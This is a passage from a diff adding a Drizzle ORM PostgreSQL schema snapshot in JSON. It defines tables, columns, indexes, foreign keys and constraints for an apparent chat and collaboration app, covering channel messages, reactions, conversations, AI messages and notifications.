"primaryKey": false, + "notNull": true, + "default": "now()" + }, + "updatedAt": { + "name": "updatedAt", + "type": "timestamp", + "primaryKey": false, + "notNull": true + } + }, + "indexes": { + "user_profiles_is_public_idx": { + "name": "user_profiles_is_public_idx", + "columns": [ + { + "expression": "isPublic", + "isExpression": false, + "asc": true, + "nulls": "last" + } + ], + "isUnique": false, + "concurrently": false, + "method": "btree", + "with": {} + } + }, + "foreignKeys": { + "user_profiles_userId_users_id_fk": { + "name": "user_profiles_userId_users_id_fk", + "tableFrom": "user_profiles", + "tableTo": "users", + "columnsFrom": [ + "userId" + ], + "columnsTo": [ + "id" + ], + "onDelete": "cascade", + "onUpdate": "no action" + } + }, + "compositePrimaryKeys": {}, + "uniqueConstraints": {}, + "policies": {}, + "checkConstraints": {}, + "isRLSEnabled": false + }, + "public.channel_message_attachments": { + "name": "channel_message_attachments", + "schema": "", + "columns": { + "id": { + "name": "id", + "type": "text", + "primaryKey": true, + "notNull": true + }, + "messageId": { + "name": "messageId", + "type": "text", + "primaryKey": false, + "notNull": true + }, + "fileId": { + "name": "fileId", + "type": "text", + "primaryKey": false, + "notNull": false + }, + "attachmentMeta": { + "name": "attachmentMeta", + "type": "jsonb", + "primaryKey": false, + "notNull": false + }, + "position": { + "name": "position", + "type": "integer", + "primaryKey": false, + "notNull": true + }, + "createdAt": { + "name": "createdAt", + "type": "timestamp", + "primaryKey": false, + "notNull": true, + "default": "now()" + } + }, + "indexes": { + "channel_message_attachments_message_position_idx": { + "name": "channel_message_attachments_message_position_idx", + "columns": [ + { + "expression": "messageId", + "isExpression": false, + "asc": true, + "nulls": "last" + }, + { + "expression": "position", + "isExpression": false, + "asc": true, + "nulls": "last" + } + ], + "isUnique": true, + "concurrently": false, + "method": "btree", + "with": {} + }, + "channel_message_attachments_file_id_idx": { + "name": "channel_message_attachments_file_id_idx", + "columns": [ + { + "expression": "fileId", + "isExpression": false, + "asc": true, + "nulls": "last" + } + ], + "isUnique": false, + "concurrently": false, + "method": "btree", + "with": {} + } + }, + "foreignKeys": { + "channel_message_attachments_messageId_channel_messages_id_fk": { + "name": "channel_message_attachments_messageId_channel_messages_id_fk", + "tableFrom": "channel_message_attachments", + "tableTo": "channel_messages", + "columnsFrom": [ + "messageId" + ], + "columnsTo": [ + "id" + ], + "onDelete": "cascade", + "onUpdate": "no action" + }, + "channel_message_attachments_fileId_files_id_fk": { + "name": "channel_message_attachments_fileId_files_id_fk", + "tableFrom": "channel_message_attachments", + "tableTo": "files", + "columnsFrom": [ + "fileId" + ], + "columnsTo": [ + "id" + ], + "onDelete": "set null", + "onUpdate": "no action" + } + }, + "compositePrimaryKeys": {}, + "uniqueConstraints": {}, + "policies": {}, + "checkConstraints": { + "channel_message_attachments_position_range": { + "name": "channel_message_attachments_position_range", + "value": "\"channel_message_attachments\".\"position\" >= 0 AND \"channel_message_attachments\".\"position\" < 10" + } + }, + "isRLSEnabled": false + }, + "public.channel_message_reactions": { + "name": "channel_message_reactions", + "schema": "", + "columns": { + "id": { + "name": "id", + "type": "text", + "primaryKey": true, + "notNull": true + }, + "messageId": { + "name": "messageId", + "type": "text", + "primaryKey": false, + "notNull": true + }, + "userId": { + "name": "userId", + "type": "text", + "primaryKey": false, + "notNull": true + }, + "emoji": { + "name": "emoji", + "type": "text", + "primaryKey": false, + "notNull": true + }, + "createdAt": { + "name": "createdAt", + "type": "timestamp", + "primaryKey": false, + "notNull": true, + "default": "now()" + } + }, + "indexes": { + "unique_reaction_idx": { + "name": "unique_reaction_idx", + "columns": [ + { + "expression": "messageId", + "isExpression": false, + "asc": true, + "nulls": "last" + }, + { + "expression": "userId", + "isExpression": false, + "asc": true, + "nulls": "last" + }, + { + "expression": "emoji", + "isExpression": false, + "asc": true, + "nulls": "last" + } + ], + "isUnique": true, + "concurrently": false, + "method": "btree", + "with": {} + }, + "reaction_message_idx": { + "name": "reaction_message_idx", + "columns": [ + { + "expression": "messageId", + "isExpression": false, + "asc": true, + "nulls": "last" + } + ], + "isUnique": false, + "concurrently": false, + "method": "btree", + "with": {} + } + }, + "foreignKeys": { + "channel_message_reactions_messageId_channel_messages_id_fk": { + "name": "channel_message_reactions_messageId_channel_messages_id_fk", + "tableFrom": "channel_message_reactions", + "tableTo": "channel_messages", + "columnsFrom": [ + "messageId" + ], + "columnsTo": [ + "id" + ], + "onDelete": "cascade", + "onUpdate": "no action" + }, + "channel_message_reactions_userId_users_id_fk": { + "name": "channel_message_reactions_userId_users_id_fk", + "tableFrom": "channel_message_reactions", + "tableTo": "users", + "columnsFrom": [ + "userId" + ], + "columnsTo": [ + "id" + ], + "onDelete": "cascade", + "onUpdate": "no action" + } + }, + "compositePrimaryKeys": {}, + "uniqueConstraints": {}, + "policies": {}, + "checkConstraints": {}, + "isRLSEnabled": false + }, + "public.channel_messages": { + "name": "channel_messages", + "schema": "", + "columns": { + "id": { + "name": "id", + "type": "text", + "primaryKey": true, + "notNull": true + }, + "content": { + "name": "content", + "type": "text", + "primaryKey": false, + "notNull": true + }, + "createdAt": { + "name": "createdAt", + "type": "timestamp", + "primaryKey": false, + "notNull": true, + "default": "now()" + }, + "pageId": { + "name": "pageId", + "type": "text", + "primaryKey": false, + "notNull": true + }, + "userId": { + "name": "userId", + "type": "text", + "primaryKey": false, + "notNull": true + }, + "fileId": { + "name": "fileId", + "type": "text", + "primaryKey": false, + "notNull": false + }, + "attachmentMeta": { + "name": "attachmentMeta", + "type": "jsonb", + "primaryKey": false, + "notNull": false + }, + "isActive": { + "name": "isActive", + "type": "boolean", + "primaryKey": false, + "notNull": true, + "default": true + }, + "editedAt": { + "name": "editedAt", + "type": "timestamp", + "primaryKey": false, + "notNull": false + }, + "aiMeta": { + "name": "aiMeta", + "type": "jsonb", + "primaryKey": false, + "notNull": false + }, + "parentId": { + "name": "parentId", + "type": "text", + "primaryKey": false, + "notNull": false + }, + "replyCount": { + "name": "replyCount", + "type": "integer", + "primaryKey": false, + "notNull": true, + "default": 0 + }, + "lastReplyAt": { + "name": "lastReplyAt", + "type": "timestamp", + "primaryKey": false, + "notNull": false + }, + "mirroredFromId": { + "name": "mirroredFromId", + "type": "text", + "primaryKey": false, + "notNull": false + }, + "quotedMessageId": { + "name": "quotedMessageId", + "type": "text", + "primaryKey": false, + "notNull": false + } + }, + "indexes": { + "channel_messages_page_id_idx": { + "name": "channel_messages_page_id_idx", + "columns": [ + { + "expression": "pageId", + "isExpression": false, + "asc": true, + "nulls": "last" + } + ], + "isUnique": false, + "concurrently": false, + "method": "btree", + "with": {} + }, + "channel_messages_file_id_idx": { + "name": "channel_messages_file_id_idx", + "columns": [ + { + "expression": "fileId", + "isExpression": false, + "asc": true, + "nulls": "last" + } + ], + "isUnique": false, + "concurrently": false, + "method": "btree", + "with": {} + }, + "channel_messages_parent_created_idx": { + "name": "channel_messages_parent_created_idx", + "columns": [ + { + "expression": "parentId", + "isExpression": false, + "asc": true, + "nulls": "last" + }, + { + "expression": "createdAt", + "isExpression": false, + "asc": true, + "nulls": "last" + } + ], + "isUnique": false, + "concurrently": false, + "method": "btree", + "with": {} + }, + "channel_messages_quoted_id_idx": { + "name": "channel_messages_quoted_id_idx", + "columns": [ + { + "expression": "quotedMessageId", + "isExpression": false, + "asc": true, + "nulls": "last" + } + ], + "isUnique": false, + "concurrently": false, + "method": "btree", + "with": {} + } + }, + "foreignKeys": { + "channel_messages_pageId_pages_id_fk": { + "name": "channel_messages_pageId_pages_id_fk", + "tableFrom": "channel_messages", + "tableTo": "pages", + "columnsFrom": [ + "pageId" + ], + "columnsTo": [ + "id" + ], + "onDelete": "cascade", + "onUpdate": "no action" + }, + "channel_messages_userId_users_id_fk": { + "name": "channel_messages_userId_users_id_fk", + "tableFrom": "channel_messages", + "tableTo": "users", + "columnsFrom": [ + "userId" + ], + "columnsTo": [ + "id" + ], + "onDelete": "cascade", + "onUpdate": "no action" + }, + "channel_messages_fileId_files_id_fk": { + "name": "channel_messages_fileId_files_id_fk", + "tableFrom": "channel_messages", + "tableTo": "files", + "columnsFrom": [ + "fileId" + ], + "columnsTo": [ + "id" + ], + "onDelete": "set null", + "onUpdate": "no action" + }, + "channel_messages_parentId_channel_messages_id_fk": { + "name": "channel_messages_parentId_channel_messages_id_fk", + "tableFrom": "channel_messages", + "tableTo": "channel_messages", + "columnsFrom": [ + "parentId" + ], + "columnsTo": [ + "id" + ], + "onDelete": "cascade", + "onUpdate": "no action" + }, + "channel_messages_mirroredFromId_channel_messages_id_fk": { + "name": "channel_messages_mirroredFromId_channel_messages_id_fk", + "tableFrom": "channel_messages", + "tableTo": "channel_messages", + "columnsFrom": [ + "mirroredFromId" + ], + "columnsTo": [ + "id" + ], + "onDelete": "set null", + "onUpdate": "no action" + }, + "channel_messages_quotedMessageId_channel_messages_id_fk": { + "name": "channel_messages_quotedMessageId_channel_messages_id_fk", + "tableFrom": "channel_messages", + "tableTo": "channel_messages", + "columnsFrom": [ + "quotedMessageId" + ], + "columnsTo": [ + "id" + ], + "onDelete": "set null", + "onUpdate": "no action" + } + }, + "compositePrimaryKeys": {}, + "uniqueConstraints": {}, + "policies": {}, + "checkConstraints": {}, + "isRLSEnabled": false + }, + "public.channel_read_status": { + "name": "channel_read_status", + "schema": "", + "columns": { + "userId": { + "name": "userId", + "type": "text", + "primaryKey": false, + "notNull": true + }, + "channelId": { + "name": "channelId", + "type": "text", + "primaryKey": false, + "notNull": true + }, + "lastReadAt": { + "name": "lastReadAt", + "type": "timestamp", + "primaryKey": false, + "notNull": true, + "default": "now()" + } + }, + "indexes": { + "channel_read_status_user_id_idx": { + "name": "channel_read_status_user_id_idx", + "columns": [ + { + "expression": "userId", + "isExpression": false, + "asc": true, + "nulls": "last" + } + ], + "isUnique": false, + "concurrently": false, + "method": "btree", + "with": {} + }, + "channel_read_status_channel_id_idx": { + "name": "channel_read_status_channel_id_idx", + "columns": [ + { + "expression": "channelId", + "isExpression": false, + "asc": true, + "nulls": "last" + } + ], + "isUnique": false, + "concurrently": false, + "method": "btree", + "with": {} + } + }, + "foreignKeys": { + "channel_read_status_userId_users_id_fk": { + "name": "channel_read_status_userId_users_id_fk", + "tableFrom": "channel_read_status", + "tableTo": "users", + "columnsFrom": [ + "userId" + ], + "columnsTo": [ + "id" + ], + "onDelete": "cascade", + "onUpdate": "no action" + }, + "channel_read_status_channelId_pages_id_fk": { + "name": "channel_read_status_channelId_pages_id_fk", + "tableFrom": "channel_read_status", + "tableTo": "pages", + "columnsFrom": [ + "channelId" + ], + "columnsTo": [ + "id" + ], + "onDelete": "cascade", + "onUpdate": "no action" + } + }, + "compositePrimaryKeys": { + "channel_read_status_userId_channelId_pk": { + "name": "channel_read_status_userId_channelId_pk", + "columns": [ + "userId", + "channelId" + ] + } + }, + "uniqueConstraints": {}, + "policies": {}, + "checkConstraints": {}, + "isRLSEnabled": false + }, + "public.channel_thread_followers": { + "name": "channel_thread_followers", + "schema": "", + "columns": { + "rootMessageId": { + "name": "rootMessageId", + "type": "text", + "primaryKey": false, + "notNull": true + }, + "userId": { + "name": "userId", + "type": "text", + "primaryKey": false, + "notNull": true + }, + "createdAt": { + "name": "createdAt", + "type": "timestamp", + "primaryKey": false, + "notNull": true, + "default": "now()" + } + }, + "indexes": { + "channel_thread_followers_user_id_idx": { + "name": "channel_thread_followers_user_id_idx", + "columns": [ + { + "expression": "userId", + "isExpression": false, + "asc": true, + "nulls": "last" + } + ], + "isUnique": false, + "concurrently": false, + "method": "btree", + "with": {} + } + }, + "foreignKeys": { + "channel_thread_followers_rootMessageId_channel_messages_id_fk": { + "name": "channel_thread_followers_rootMessageId_channel_messages_id_fk", + "tableFrom": "channel_thread_followers", + "tableTo": "channel_messages", + "columnsFrom": [ + "rootMessageId" + ], + "columnsTo": [ + "id" + ], + "onDelete": "cascade", + "onUpdate": "no action" + }, + "channel_thread_followers_userId_users_id_fk": { + "name": "channel_thread_followers_userId_users_id_fk", + "tableFrom": "channel_thread_followers", + "tableTo": "users", + "columnsFrom": [ + "userId" + ], + "columnsTo": [ + "id" + ], + "onDelete": "cascade", + "onUpdate": "no action" + } + }, + "compositePrimaryKeys": { + "channel_thread_followers_rootMessageId_userId_pk": { + "name": "channel_thread_followers_rootMessageId_userId_pk", + "columns": [ + "rootMessageId", + "userId" + ] + } + }, + "uniqueConstraints": {}, + "policies": {}, + "checkConstraints": {}, + "isRLSEnabled": false + }, + "public.pulse_summaries": { + "name": "pulse_summaries", + "schema": "", + "columns": { + "id": { + "name": "id", + "type": "text", + "primaryKey": true, + "notNull": true + }, + "userId": { + "name": "userId", + "type": "text", + "primaryKey": false, + "notNull": true + }, + "summary": { + "name": "summary", + "type": "text", + "primaryKey": false, + "notNull": true + }, + "greeting": { + "name": "greeting", + "type": "text", + "primaryKey": false, + "notNull": false + }, + "type": { + "name": "type", + "type": "pulse_summary_type", + "typeSchema": "public", + "primaryKey": false, + "notNull": true, + "default": "'scheduled'" + }, + "contextData": { + "name": "contextData", + "type": "jsonb", + "primaryKey": false, + "notNull": false + }, + "orgIds": { + "name": "orgIds", + "type": "text[]", + "primaryKey": false, + "notNull": true, + "default": "ARRAY[]::text[]" + }, + "aiProvider": { + "name": "aiProvider", + "type": "text", + "primaryKey": false, + "notNull": false + }, + "aiModel": { + "name": "aiModel", + "type": "text", + "primaryKey": false, + "notNull": false + }, + "periodStart": { + "name": "periodStart", + "type": "timestamp", + "primaryKey": false, + "notNull": true + }, + "periodEnd": { + "name": "periodEnd", + "type": "timestamp", + "primaryKey": false, + "notNull": true + }, + "generatedAt": { + "name": "generatedAt", + "type": "timestamp", + "primaryKey": false, + "notNull": true, + "default": "now()" + }, + "expiresAt": { + "name": "expiresAt", + "type": "timestamp", + "primaryKey": false, + "notNull": true + } + }, + "indexes": { + "idx_pulse_summaries_user_id": { + "name": "idx_pulse_summaries_user_id", + "columns": [ + { + "expression": "userId", + "isExpression": false, + "asc": true, + "nulls": "last" + } + ], + "isUnique": false, + "concurrently": false, + "method": "btree", + "with": {} + }, + "idx_pulse_summaries_generated_at": { + "name": "idx_pulse_summaries_generated_at", + "columns": [ + { + "expression": "generatedAt", + "isExpression": false, + "asc": true, + "nulls": "last" + } + ], + "isUnique": false, + "concurrently": false, + "method": "btree", + "with": {} + }, + "idx_pulse_summaries_expires_at": { + "name": "idx_pulse_summaries_expires_at", + "columns": [ + { + "expression": "expiresAt", + "isExpression": false, + "asc": true, + "nulls": "last" + } + ], + "isUnique": false, + "concurrently": false, + "method": "btree", + "with": {} + }, + "idx_pulse_summaries_user_generated": { + "name": "idx_pulse_summaries_user_generated", + "columns": [ + { + "expression": "userId", + "isExpression": false, + "asc": true, + "nulls": "last" + }, + { + "expression": "generatedAt", + "isExpression": false, + "asc": true, + "nulls": "last" + } + ], + "isUnique": false, + "concurrently": false, + "method": "btree", + "with": {} + } + }, + "foreignKeys": { + "pulse_summaries_userId_users_id_fk": { + "name": "pulse_summaries_userId_users_id_fk", + "tableFrom": "pulse_summaries", + "tableTo": "users", + "columnsFrom": [ + "userId" + ], + "columnsTo": [ + "id" + ], + "onDelete": "cascade", + "onUpdate": "no action" + } + }, + "compositePrimaryKeys": {}, + "uniqueConstraints": {}, + "policies": {}, + "checkConstraints": {}, + "isRLSEnabled": false + }, + "public.user_dashboards": { + "name": "user_dashboards", + "schema": "", + "columns": { + "id": { + "name": "id", + "type": "text", + "primaryKey": true, + "notNull": true + }, + "userId": { + "name": "userId", + "type": "text", + "primaryKey": false, + "notNull": true + }, + "content": { + "name": "content", + "type": "text", + "primaryKey": false, + "notNull": true, + "default": "''" + }, + "createdAt": { + "name": "createdAt", + "type": "timestamp", + "primaryKey": false, + "notNull": true, + "default": "now()" + }, + "updatedAt": { + "name": "updatedAt", + "type": "timestamp", + "primaryKey": false, + "notNull": true + } + }, + "indexes": {}, + "foreignKeys": { + "user_dashboards_userId_users_id_fk": { + "name": "user_dashboards_userId_users_id_fk", + "tableFrom": "user_dashboards", + "tableTo": "users", + "columnsFrom": [ + "userId" + ], + "columnsTo": [ + "id" + ], + "onDelete": "cascade", + "onUpdate": "no action" + } + }, + "compositePrimaryKeys": {}, + "uniqueConstraints": { + "user_dashboards_userId_unique": { + "name": "user_dashboards_userId_unique", + "nullsNotDistinct": false, + "columns": [ + "userId" + ] + } + }, + "policies": {}, + "checkConstraints": {}, + "isRLSEnabled": false + }, + "public.conversations": { + "name": "conversations", + "schema": "", + "columns": { + "id": { + "name": "id", + "type": "text", + "primaryKey": true, + "notNull": true + }, + "userId": { + "name": "userId", + "type": "text", + "primaryKey": false, + "notNull": true + }, + "title": { + "name": "title", + "type": "text", + "primaryKey": false, + "notNull": false + }, + "type": { + "name": "type", + "type": "text", + "primaryKey": false, + "notNull": true + }, + "contextId": { + "name": "contextId", + "type": "text", + "primaryKey": false, + "notNull": false + }, + "agentPageId": { + "name": "agentPageId", + "type": "text", + "primaryKey": false, + "notNull": false + }, + "rev": { + "name": "rev", + "type": "bigint", + "primaryKey": false, + "notNull": true, + "default": 0 + }, + "planPageId": { + "name": "planPageId", + "type": "text", + "primaryKey": false, + "notNull": false + }, + "chosenWalletId": { + "name": "chosenWalletId", + "type": "text", + "primaryKey": false, + "notNull": false + }, + "lastMessageAt": { + "name": "lastMessageAt", + "type": "timestamp", + "primaryKey": false, + "notNull": false + }, + "createdAt": { + "name": "createdAt", + "type": "timestamp", + "primaryKey": false, + "notNull": true, + "default": "now()" + }, + "updatedAt": { + "name": "updatedAt", + "type": "timestamp", + "primaryKey": false, + "notNull": true + }, + "isActive": { + "name": "isActive", + "type": "boolean", + "primaryKey": false, + "notNull": true, + "default": true + }, + "isShared": { + "name": "isShared", + "type": "boolean", + "primaryKey": false, + "notNull": true, + "default": false + } + }, + "indexes": { + "conversations_user_id_idx": { + "name": "conversations_user_id_idx", + "columns": [ + { + "expression": "userId", + "isExpression": false, + "asc": true, + "nulls": "last" + } + ], + "isUnique": false, + "concurrently": false, + "method": "btree", + "with": {} + }, + "conversations_user_id_type_idx": { + "name": "conversations_user_id_type_idx", + "columns": [ + { + "expression": "userId", + "isExpression": false, + "asc": true, + "nulls": "last" + }, + { + "expression": "type", + "isExpression": false, + "asc": true, + "nulls": "last" + } + ], + "isUnique": false, + "concurrently": false, + "method": "btree", + "with": {} + }, + "conversations_user_id_last_message_at_idx": { + "name": "conversations_user_id_last_message_at_idx", + "columns": [ + { + "expression": "userId", + "isExpression": false, + "asc": true, + "nulls": "last" + }, + { + "expression": "lastMessageAt", + "isExpression": false, + "asc": true, + "nulls": "last" + } + ], + "isUnique": false, + "concurrently": false, + "method": "btree", + "with": {} + }, + "conversations_context_id_idx": { + "name": "conversations_context_id_idx", + "columns": [ + { + "expression": "contextId", + "isExpression": false, + "asc": true, + "nulls": "last" + } + ], + "isUnique": false, + "concurrently": false, + "method": "btree", + "with": {} + }, + "conversations_plan_page_id_idx": { + "name": "conversations_plan_page_id_idx", + "columns": [ + { + "expression": "planPageId", + "isExpression": false, + "asc": true, + "nulls": "last" + } + ], + "isUnique": false, + "concurrently": false, + "method": "btree", + "with": {} + }, + "conversations_agent_page_id_idx": { + "name": "conversations_agent_page_id_idx", + "columns": [ + { + "expression": "agentPageId", + "isExpression": false, + "asc": true, + "nulls": "last" + } + ], + "isUnique": false, + "concurrently": false, + "method": "btree", + "with": {} + } + }, + "foreignKeys": { + "conversations_userId_users_id_fk": { + "name": "conversations_userId_users_id_fk", + "tableFrom": "conversations", + "tableTo": "users", + "columnsFrom": [ + "userId" + ], + "columnsTo": [ + "id" + ], + "onDelete": "cascade", + "onUpdate": "no action" + }, + "conversations_agentPageId_pages_id_fk": { + "name": "conversations_agentPageId_pages_id_fk", + "tableFrom": "conversations", + "tableTo": "pages", + "columnsFrom": [ + "agentPageId" + ], + "columnsTo": [ + "id" + ], + "onDelete": "set null", + "onUpdate": "no action" + }, + "conversations_planPageId_pages_id_fk": { + "name": "conversations_planPageId_pages_id_fk", + "tableFrom": "conversations", + "tableTo": "pages", + "columnsFrom": [ + "planPageId" + ], + "columnsTo": [ + "id" + ], + "onDelete": "set null", + "onUpdate": "no action" + } + }, + "compositePrimaryKeys": {}, + "uniqueConstraints": {}, + "policies": {}, + "checkConstraints": { + "conversations_global_context_null_chk": { + "name": "conversations_global_context_null_chk", + "value": "\"conversations\".\"type\" <> 'global' OR \"conversations\".\"contextId\" IS NULL" + }, + "conversations_page_context_present_chk": { + "name": "conversations_page_context_present_chk", + "value": "\"conversations\".\"type\" <> 'page' OR \"conversations\".\"contextId\" IS NOT NULL" + }, + "conversations_drive_context_present_chk": { + "name": "conversations_drive_context_present_chk", + "value": "\"conversations\".\"type\" <> 'drive' OR \"conversations\".\"contextId\" IS NOT NULL" + } + }, + "isRLSEnabled": false + }, + "public.messages": { + "name": "messages", + "schema": "", + "columns": { + "id": { + "name": "id", + "type": "text", + "primaryKey": true, + "notNull": true + }, + "conversationId": { + "name": "conversationId", + "type": "text", + "primaryKey": false, + "notNull": true + }, + "userId": { + "name": "userId", + "type": "text", + "primaryKey": false, + "notNull": false + }, + "role": { + "name": "role", + "type": "text", + "primaryKey": false, + "notNull": true + }, + "messageType": { + "name": "messageType", + "type": "text", + "primaryKey": false, + "notNull": true, + "default": "'standard'" + }, + "content": { + "name": "content", + "type": "text", + "primaryKey": false, + "notNull": true + }, + "toolCalls": { + "name": "toolCalls", + "type": "jsonb", + "primaryKey": false, + "notNull": false + }, + "toolResults": { + "name": "toolResults", + "type": "jsonb", + "primaryKey": false, + "notNull": false + }, + "createdAt": { + "name": "createdAt", + "type": "timestamp", + "primaryKey": false, + "notNull": true, + "default": "now()" + }, + "isActive": { + "name": "isActive", + "type": "boolean", + "primaryKey": false, + "notNull": true, + "default": true + }, + "editedAt": { + "name": "editedAt", + "type": "timestamp", + "primaryKey": false, + "notNull": false + }, + "status": { + "name": "status", + "type": "text", + "primaryKey": false, + "notNull": true, + "default": "'complete'" + }, + "sourceAgentId": { + "name": "sourceAgentId", + "type": "text", + "primaryKey": false, + "notNull": false + }, + "source": { + "name": "source", + "type": "text", + "primaryKey": false, + "notNull": false + } + }, + "indexes": { + "messages_conversation_id_idx": { + "name": "messages_conversation_id_idx", + "columns": [ + { + "expression": "conversationId", + "isExpression": false, + "asc": true, + "nulls": "last" + } + ], + "isUnique": false, + "concurrently": false, + "method": "btree", + "with": {} + }, + "messages_conversation_id_created_at_idx": { + "name": "messages_conversation_id_created_at_idx", + "columns": [ + { + "expression": "conversationId", + "isExpression": false, + "asc": true, + "nulls": "last" + }, + { + "expression": "createdAt", + "isExpression": false, + "asc": true, + "nulls": "last" + } + ], + "isUnique": false, + "concurrently": false, + "method": "btree", + "with": {} + }, + "messages_user_id_idx": { + "name": "messages_user_id_idx", + "columns": [ + { + "expression": "userId", + "isExpression": false, + "asc": true, + "nulls": "last" + } + ], + "isUnique": false, + "concurrently": false, + "method": "btree", + "with": {} + } + }, + "foreignKeys": { + "messages_conversationId_conversations_id_fk": { + "name": "messages_conversationId_conversations_id_fk", + "tableFrom": "messages", + "tableTo": "conversations", + "columnsFrom": [ + "conversationId" + ], + "columnsTo": [ + "id" + ], + "onDelete": "cascade", + "onUpdate": "no action" + }, + "messages_userId_users_id_fk": { + "name": "messages_userId_users_id_fk", + "tableFrom": "messages", + "tableTo": "users", + "columnsFrom": [ + "userId" + ], + "columnsTo": [ + "id" + ], + "onDelete": "cascade", + "onUpdate": "no action" + }, + "messages_sourceAgentId_pages_id_fk": { + "name": "messages_sourceAgentId_pages_id_fk", + "tableFrom": "messages", + "tableTo": "pages", + "columnsFrom": [ + "sourceAgentId" + ], + "columnsTo": [ + "id" + ], + "onDelete": "set null", + "onUpdate": "no action" + } + }, + "compositePrimaryKeys": {}, + "uniqueConstraints": {}, + "policies": {}, + "checkConstraints": {}, + "isRLSEnabled": false + }, + "public.notifications": { + "name": "notifications", + "schema": "", + "columns": { + "id": { + "name": "id", + "type": "text", + "primaryKey": true, + "notNull": true + }, + "userId": { + "name": "userId", + "type": "text", + "primaryKey": false, + "notNull": true + }, + "type": { + "name": "type", + "type": "NotificationType", + "typeSchema": "public", + "primaryKey": false, + "notNull": true + }, + "title": { + "name": "title", + "type": "text", + "primaryKey": false, + "notNull": true + }, + "message": { + "name": "message", + "type": "text", + "primaryKey": false, + "notNull": true + }, + "metadata": { + "name": "metadata", + "type": "jsonb", + "primaryKey": false, + "notNull": false + }, + "isRead": { + "name": "isRead", + "type": "boolean", + "primaryKey": false, + "notNull": true, + "default": false + }, + "createdAt": { + "name": "createdAt", + "type": "timestamp", + "primaryKey": false, + "notNull": true, + "default": "now()" + }, + "readAt": { + "name": "readAt", + "type": "timestamp", + "primaryKey": false, + "notNull": false + }, + "pageId": { + "name": "pageId", + "type": "text", + "primaryKey": false, + "notNull": false + }, + "driveId": { + "name": "driveId", + "type": "text", + "primaryKey": false, + "notNull": false + }, + "triggeredByUserId": { + "name": "triggeredByUserId", + "type": "text", + "primaryKey": false, + "notNull": false + } + }, + "indexes": { + "notifications_user_id_idx": { + "name": "notifications_user_id_idx", + "columns": [ + { + "expression": "userId", + "isExpression": false, + "asc": true, + "nulls": "last" + } + ], + "isUnique": false, + "concurrently": false, + "method": "btree", + "with": {} + }, + "notifications_user_id_is_read_idx": { + "name": "notifications_user_id_is_read_idx", + "columns": [ + { + "expression": "userId", + "isExpression": false, + "asc": true, + "nulls": "last" + }, + { + "expression": "isRead", + "isExpression": false, + "asc": true, + "nulls": "last" + } + ], + "isUnique": false, + "concurrently": false, + "method": "btree", + "with": {} + }, + "notifications_user_id_is_read_created_at_idx": { + "name": "notifications_user_id_is_read_created_at_idx", + "columns": [ + { + "expression": "userId", + "isExpression": false, + "asc": true, + "nulls": "last" + }, + { + "expression": "isRead", + "isExpression": false, + "asc": true, + "nulls": "last" + }, + { + "expression": "createdAt", + "isExpression": false, + "asc": true, + "nulls": "last" + } + ], + "isUnique": false, + "concurrently": false, + "method": "btree", + "with": {} + }, + "notifications_created_at_idx": { + "name": "notifications_created_at_idx", + "columns": [ + { + "expression": "createdAt", + "isExpression": false, + "asc": true, + "nulls": "last" + } + ], + "isUnique": false, + "concurrently": false, + "method": "btree", + "with": {} + }, + "notifications_type_idx": { + "name": "notifications_type_idx", + "columns": [ + { + "expression": "type", + "isExpression": false, + "asc": true, + "nulls": "last" + } + ], + "isUnique": false, + "concurrently": false, + "method": "btree", + "with": {} + } + }, + "foreignKeys": { + "notifications_userId_users_id_fk": { + "name": "notifications_userId_users_id_fk", + "tableFrom": "notifications", + "tableTo": "users", + "columnsFrom": [ + "userId" + ], + "columnsTo": [ + "id" + ], + "onDelete": "cascade", + "onUpdate": "no action" + }, + "notifications_pageId_pages_id_fk": { + "name": "notifications_pageId_pages_id_fk", + "tableFrom": "notifications", + "tableTo": "pages", + "columnsFrom": [ + "pageId" + ], + "columnsTo": [ + "id" + ], + "onDelete": "cascade", + "onUpdate": "no action" + }, + "notifications_driveId_drives_id_fk": { + "name": "notifications_driveId_drives_id_fk", + "tableFrom": "notifications", + "tableTo": "drives", + "columnsFrom": [ + "driveId" + ], + "columnsTo": [ + "id" + ], + "onDelete": "cascade", + "onUpdate": "no action" + }, + "notifications_triggeredByUserId_users_id_fk": { + "name": "notifications_triggeredByUserId_users_id_fk", + "tableFrom": "notifications", + "tableTo": "users", + "columnsFrom": [ + "triggeredByUserId" + ], + "columnsTo": [ + "id" + ], + "onDelete": "set null", + "onUpdate": "no action" + } + }, + "compositePrimaryKeys": {}, + "uniqueConstraints": {}, + "policies": {}, + "checkConstraints": {}, + "isRLSEnabled": false + }, + "public.email_notification_log": { + "name": "email_notification_log", + "schema": "", + "columns": { + "id": { + "name": "id", + "type": "text", + "primaryKey": true, + "notNull": true + }, + "userId": { + "name": "userId", + "type": "text", + "primaryKey": false, + "notNull": true + }, + "notificationId": { + "name": "notificationId", + "type": "text", + "primaryKey": false, + "notNull": false + }, + "notificationType": { + "name": "notificationType", + "type": "NotificationType", + "typeSchema": "public", + "primaryKey": false, + "notNull": true + }, + "recipientEmail": { + "name": "recipientEmail", + "type": "text", + "primaryKey": false, + "notNull": true + }, + "success": { + "name": "success", + "type": "boolean", + "primaryKey": false, + "notNull": true + }, + "errorMessage": { + "name": "errorMessage", + "type": "text", + "primaryKey": false, + "notNull": false + }, + "sentAt": { + "name": "sentAt", + "type": "timestamp", + "primaryKey": false, + "notNull": true, + "default": "now()" + } + }, + "indexes": { + "email_notification_log_user_idx": { + "name": "email_notification_log_user_idx", + "columns": [ + { + "expression": "userId", + "isExpression": false, + "asc": true, + "nulls": "last" + } + ], + "isUnique": false, + "concurrently": false, + "method": "btree", + "with": {} + }, + "email_notification_log_sent_at_idx": { + "name": "email_notification_log_sent_at_idx", + "columns": [ + { + "expression": "sentAt", + "isExpression": false, + "asc": true, + "nulls": "last" + } + ], + "isUnique": false, + "concurrently": false, + "method": "btree", + "with": {} + }, + "email_notification_log_notification_id_idx": { + "name": "email_notification_log_notification_id_idx", + "columns": [ + { + "expression": "notificationId", + "isExpression": false, + "asc": true, + "nulls": "last" + } + ], + "isUnique": false, + "concurrently": false, + "method": "btree", + "with": {} + } + }, + "foreignKeys": { + "email_notification_log_userId_users_id_fk": { + "name": "email_notification_log_userId_users_id_fk", + "tableFrom": "email_notification_log", + "tableTo": "users", + "columnsFrom": [ + "userId" + ], + "columnsTo": [ + "id" + ], + "onDelete": "cascade", + "onUpdate": "no action" + } + }, + "compositePrimaryKeys": {}, + "uniqueConstraints": {}, + "policies": {}, + "checkConstraints": {}, + "isRLSEnabled": false + }, + "public.email_notification_preferences": { + "name": "email_notification_preferences", + "schema": "", + "columns": { + "id": { + "name": "id", + "type": "text", + "primaryKey": true, + "notNull": true + }, + "userId": { + "name": "userId", + "type": 